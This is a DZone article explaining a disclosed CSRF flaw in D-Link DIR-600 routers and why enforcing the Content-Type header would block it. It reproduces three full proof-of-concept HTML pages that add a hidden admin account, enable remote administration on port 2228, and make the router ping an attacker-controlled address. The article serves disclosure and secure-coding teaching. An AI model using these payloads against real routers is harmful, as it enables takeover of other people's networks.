DZone
Thanks for visiting DZone today,
Edit Profile
  • Manage Email Subscriptions
  • How to Post to DZone
  • Article Submission Guidelines
Sign Out View Profile
  • Post an Article
  • Manage My Drafts
Over 2 million developers have joined DZone.
Log In / Join
Refcards Trend Reports Events Over 2 million developers have joined DZone. Join Today! Thanks for visiting DZone today,
Edit Profile Manage Email Subscriptions Moderation Admin Console How to Post to DZone Article Submission Guidelines
View Profile
Sign Out
Refcards
Trend Reports
Events
Zones
Culture and Methodologies Agile Career Development Methodologies Team Management
Data Engineering AI/ML Big Data Data Databases IoT
Software Design and Architecture Cloud Architecture Containers Integration Microservices Performance Security
Coding Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks
Culture and Methodologies
Agile Career Development Methodologies Team Management
Data Engineering
AI/ML Big Data Data Databases IoT
Software Design and Architecture
Cloud Architecture Containers Integration Microservices Performance Security
Coding
Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance
Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks

The Importance of the Content-Type Header in HTTP Requests

It may seem like an innocuous header value, but it carries with it some important considerations.

Ziyahan Albeniz user avatar by
Ziyahan Albeniz
·
Dec. 31, 18 · Presentation
Like (8)
Save
Tweet
Share
41.13K Views

Join the DZone community and get the full member experience.

Join For Free

Dawid Czagan, Founder and CEO at Silesia Security Labs and author of Bug Hunting Millionaire, is listed in HackerOne's Top 10 Hackers. In a recent article on his website, Czagan disclosed the details of a vulnerability combining both Cross-site Request Forgery (CSRF) and Remote Code Execution (RCE) on routers that led him to discover and gain access to the machines within the network of the router.

During his discovery, Czagan found out that the web interface of D-Link DIR-600 routers was vulnerable to a CSRF vulnerability. While CSRF is no longer listed in OWASP's Top 10, it is still a significant problem.

Taking a Look at the Exploit Code

The exploitation of a CSRF vulnerability requires user interaction. This means that attackers have to trick their victims into clicking on a malicious link whose HTML code will make the victim's browser issue requests on their behalf.

We should take a closer look at the two compulsory requests made from the target's browser to understand the vulnerability. Let's name these REQ 1 and REQ 2 respectively.

Here is REQ 1:

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://192.168.0.1/hedwig.cgi", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "text/plain; charset=UTF-8");
    xhr.withCredentials = "true";
        var body = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>"+
"<postxml>"+
  "<module>"+
    "<service>DEVICE.ACCOUNT</service>"+
    "<device>"+
      "<account>"+
        "<seqno/>"+
        "<max>1</max>"+
        "<count>2</count>"+
        "<entry>"+
          "<name>admin</name>"+
          "<password>==OoXxGgYy==</password>"+
          "<group>0</group>"+
          "<description/>"+
        "</entry>"+
        "<entry>"+
          "<name>admin2</name>"+
          "<password>pass2</password>"+
          "<group>0</group>"+
          "<description/>"+
        "</entry>"+
      "</account>"+
      "<session>"+
        "<captcha>0</captcha>"+
        "<dummy/>"+
        "<timeout>180</timeout>"+
        "<maxsession>128</maxsession>"+
        "<maxauthorized>16</maxauthorized>"+
      "</session>"+
    "</device>"+
  "</module>"+
  "<module>"+
    "<service>HTTP.WAN-1</service>"+
    "<inf>"+
      "<web>2228</web>"+
      "<weballow>"+
        "<hostv4ip/>"+
      "</weballow>"+
    "</inf>"+
  "</module>"+
  "<module>"+
    "<service>HTTP.WAN-2</service>"+
    "<inf>"+
      "<web>2228</web>"+
      "<weballow>"+
        "<hostv4ip/>"+
      "</weballow>"+
    "</inf>"+
  "</module>"+
"</postxml>";
        xhr.send(body);
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request1" onclick="submitRequest();" />
    </form>
  </body>
</html>


Let's begin analyzing the first request. The emboldened line is the crucial point in the vulnerability. But first, we have to find out the purpose of the entire request. Two admin accounts are added in the request. The first admin is the default administrator account with the password '==OoXxGgYy==', which is readily present. There are no changes made to that account. admin2 with the password 'pass2' is the new administrator account added due to the vulnerability. Additionally, remote access control authentication was allowed through port 2228 in the attack.

Here is REQ2:

<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/pigwidgeon.cgi", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = "true";
var body = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request2" onclick="submitRequest();" />
</form>
</body>
</html>


In the second request, the URL encoded SETCFG, SAVE, ACTIVATE action commands sent in REQ2 allow the activation of the settings in REQ1.

The Role of Routers in the CSRF Attack

The next step the attacker has to take is to discover the IP address of the target machine with the admin account and remote access port they obtained. The attacker does this by pinging the server it owns over the router interface using this code:

<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/diagnostic.php", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = "true";
var body = "act=ping&dst=X.Y.Z.W";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request3" onclick="submitRequest();" />
</form>
</body>


Note: 'X.Y.Z.W' is the IP address of the attacker's device.

Cross-Site Request Forgery in Routers

Now that we understand the logic behind the attack, we can observe the details that make the Cross-site Request Forgery vulnerability unique in this case. The REQ1 has an important role in the exploit of the vulnerability because the request generates a new admin account and configures the remote control access port. You should note that the payload has the XML format but the emboldened line in REQ1 states that the request type is set as text/plain instead of application/xml:

xhr.setRequestHeader("Content-Type", "text/plain; charset=UTF-8");


Had the system developers enforced a content-type compatible with the data type they expect, such as XML, the exploitation of this vulnerability would not be possible.

This is because, in AJAX/XHR requests, the browsers send a preflight request using the OPTIONS method to control whether the request is accepted or not in the recipient server, before sending the main request. This request is sent in the following circumstances:

  1. If the request uses a method other than GET, HEAD, and POST
  2. If the Content-Type is set to something other than application/x-www-form-urlencoded, multipart/form-data, text/plain types in POST requests
  3. If a custom header was set in the request

This control and detection mechanism is known as the Preflight Request. Since the router wouldn't send a positive response to REQ1, the CSRF request wouldn't go through and the attack would fail.

Content-Type Header in Security

Setting the Content-Type header properly is very critical. This header is added to request and response headers since HTTP 1.0. You can manipulate the way the server will interpret the request by setting Content-Type in request headers. Similarly, you can choose how the program will process the response using Content-Type in response headers.

For example, in an HTTP response, if the Content-Type is text/html, the HTML tags are rendered in the browser, displaying the result of the rendered HTML tags on the webpage.

In fact, to avoid Content Type Sniffing attacks, you must set the Content-Type header properly in the HTTP response.

Make sure to give the required emphasis on the Content-Type header in all HTTP requests and responses. Do not accept the formats other than expected. The HTTP Security Headers Whitepaper can help you set the necessary headers to establish the security of your websites.

Further Reading

You can read more about the vulnerability in Czagan's article, From CSRF to Unauthorized Remote Admin Access.

Requests

Published at DZone with permission of Ziyahan Albeniz, DZone MVB. See the original article here.

Opinions expressed by DZone contributors are their own.

Popular on DZone

  • How Do the Docker Client and Docker Servers Work?
  • The 12 Biggest Android App Development Trends in 2023
  • Tech Layoffs [Comic]
  • Taming Cloud Costs With Infracost

Comments

Partner Resources

X

ABOUT US

  • About DZone
  • Send feedback
  • Careers
  • Sitemap

ADVERTISE

  • Advertise with DZone

CONTRIBUTE ON DZONE

  • Article Submission Guidelines
  • Become a Contributor
  • Visit the Writers' Zone

LEGAL

  • Terms of Service
  • Privacy Policy

CONTACT US

  • 600 Park Offices Drive
  • Suite 300
  • Durham, NC 27709
  • support@dzone.com
  • +1 (919) 678-0300

Let's be friends: